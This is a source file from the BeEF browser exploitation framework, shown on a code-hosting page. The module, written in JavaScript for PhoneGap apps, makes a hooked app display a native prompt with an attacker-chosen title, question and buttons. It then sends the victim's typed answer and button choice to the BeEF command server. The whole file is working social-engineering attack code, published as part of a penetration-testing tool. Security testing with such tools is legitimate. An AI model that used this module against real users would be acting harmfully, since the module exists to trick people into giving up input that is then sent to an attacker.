Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/phonegap/phonegap_prompt_user/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025 Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
// Phonegap_prompt_user
8
//
9
beef.execute(function() {
10
var title = "<%== @title %>";
11
var question = "<%== @question %>";
12
var ans_yes = "<%== @ans_yes %>";
13
var ans_no = "<%== @ans_no %>";
14
var result = '';
15
var def_text = "<%== @text %>";
16
17
18
19
function onPrompt(results) {
20
result = "Selected button number " + results.buttonIndex + " result: " + results.input1;
21
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result );
22
}
23
24
navigator.notification.prompt(
25
question,
26
onPrompt,
27
title,
28
[ans_yes,ans_no],
29
def_text
30
);
31
32
});
33
34